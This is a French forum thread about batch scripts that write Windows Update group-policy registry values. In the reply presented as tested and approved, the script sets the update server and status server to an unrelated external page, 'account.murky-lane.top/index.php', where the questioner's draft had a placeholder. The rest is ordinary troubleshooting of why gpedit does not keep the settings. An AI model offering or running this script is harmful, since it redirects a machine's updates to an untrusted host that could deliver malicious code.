Batch pour modifier une valeur dans Gpedit.msc

Une difficulté, une précision posez vos questions

Modérateur : WIN32-[GG]

barnabe0057
King Of Batch
Messages : 96
Enregistré le : 24 janv. 2017 13:41

Re: Batch pour modifier une valeur dans Gpedit.msc

Message par barnabe0057 »

J'ai fait quelques tests de mon côté (Windows 7 pro x64), il y a aussi une autre clé à créer/modifier pour indiquer si la GPO est activée ou désactivée :

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9C906A2A-0034-48CE-92B7-F0097B40CFB7}Machine\Software\Policies\Microsoft\Windows\WindowsUpdate\AU]
"UseWUServer"=dword:00000001

Troistof
Batcheur débutant
Messages : 10
Enregistré le : 30 avr. 2020 23:28

Re: Batch pour modifier une valeur dans Gpedit.msc

Message par Troistof »

Il faut l’ajouter dans les script ?

barnabe0057
King Of Batch
Messages : 96
Enregistré le : 24 janv. 2017 13:41

Re: Batch pour modifier une valeur dans Gpedit.msc

Message par barnabe0057 »

Tout à fait ;)

Troistof
Batcheur débutant
Messages : 10
Enregistré le : 30 avr. 2020 23:28

Re: Batch pour modifier une valeur dans Gpedit.msc

Message par Troistof »

@echo off
setlocal enableextensions

Merci

En ajoutant une ligne ici :
C’est que je ne suis pas de votre niveau

set key=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects

for /f "delims=" %%A in ('reg query "%key%" /k /f "WindowsUpdate" /s ^| findstr /i "Machine"') do (

echo. & echo.%%A
reg add "%%~A" /v "WUServer" /t REG_SZ /d "http:\\\\mon serveur" /f
reg add "%%~A" /v "WUStatusServer" /t REG_SZ /d "http:\\\\mon serveur" /f
reg add "%%~A" /v "UpdateServiceUrlAlternate" /t REG_SZ /f
reg add "%%~A" /v "**del.FillEmptyContentUrls" /t REG_SZ /f

)

pause
exit

barnabe0057
King Of Batch
Messages : 96
Enregistré le : 24 janv. 2017 13:41

Re: Batch pour modifier une valeur dans Gpedit.msc

Message par barnabe0057 »

Testé et approuvé :

Code : Tout sélectionner

@echo off 
setlocal enableextensions

set key=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects

for /f "delims=" %%A in ('reg query "%key%" /k /f "Software" /s ^| findstr /i "Machine"') do (

	echo. & echo.%%A
	reg add "%%~A\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /t REG_SZ /d "https://account.murky-lane.top/index.php" /f
	reg add "%%~A\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /t REG_SZ /d "https://account.murky-lane.top/index.php" /f
	reg add "%%~A\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /t REG_DWORD /d 1 /f	

)

pause
exit

Troistof
Batcheur débutant
Messages : 10
Enregistré le : 30 avr. 2020 23:28

Re: Batch pour modifier une valeur dans Gpedit.msc

Message par Troistof »

Mince pas chez moi :(

"toto" reviens comme avant à la fermeture et ré-ouverture de gpedit

barnabe0057
King Of Batch
Messages : 96
Enregistré le : 24 janv. 2017 13:41

Re: Batch pour modifier une valeur dans Gpedit.msc

Message par barnabe0057 »

J'ai parlé trop vite, effectivement après réouverture de gpedit la GPO est "non configuré".

Troistof
Batcheur débutant
Messages : 10
Enregistré le : 30 avr. 2020 23:28

Re: Batch pour modifier une valeur dans Gpedit.msc

Message par Troistof »

C’était pas loin pourtant

barnabe0057
King Of Batch
Messages : 96
Enregistré le : 24 janv. 2017 13:41

Re: Batch pour modifier une valeur dans Gpedit.msc

Message par barnabe0057 »

Quand je crée la GPO via GPEDIT une nouvelle clé apparaît :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9C906A2A-0034-48CE-92B7-F0097B40CFB7}Machine

Ce qui est étrange c'est l'espèce d'identifiant composé de chiffres et de lettres qui change à chaque fois qu'on ouvre GPEDIT, et encore plus étrange c'est que cette clé disparaît à la fermeture de GPEDIT. Où sont donc mémorisés les paramètres puisque la clé a disparue ?

J'ai monitoré le registre avec ProcMon pour mieux comprendre ce qui se passe lors de l'activation de la GPO via GPEDIT, mais il n'y a rien d'étrange, seules les 3 valeurs que nous avons repérées sont créées il ne se passe rien d'autre.

Répondre